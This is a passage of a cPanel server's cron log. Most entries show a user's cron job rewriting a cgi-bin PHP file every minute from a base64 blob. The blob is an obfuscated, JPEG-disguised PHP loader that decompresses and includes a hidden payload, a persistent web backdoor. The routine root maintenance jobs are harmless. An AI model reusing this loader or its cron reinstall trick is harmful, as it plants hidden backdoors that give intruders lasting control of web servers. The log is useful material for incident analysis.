uLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:24:01 server CROND[11743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:25:01 server CROND[11795]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 13 02:25:01 server CROND[11796]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:25:01 server CROND[11794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:25:01 server CROND[11797]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:26:01 server CROND[11916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:27:01 server CROND[12060]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 02:27:01 server CROND[12061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:28:01 server CROND[12115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:29:01 server CROND[12170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:30:01 server CROND[12218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:30:01 server CROND[12219]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 02:30:01 server CROND[12220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:30:01 server CROND[12222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:31:01 server CROND[12327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:32:01 server CROND[12364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:33:01 server CROND[12513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:34:01 server CROND[12569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:35:01 server CROND[12625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:35:01 server CROND[12626]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:35:01 server CROND[12628]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 02:35:01 server CROND[12627]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 13 02:35:01 server CROND[12630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:36:01 server CROND[12737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:37:01 server CROND[12795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 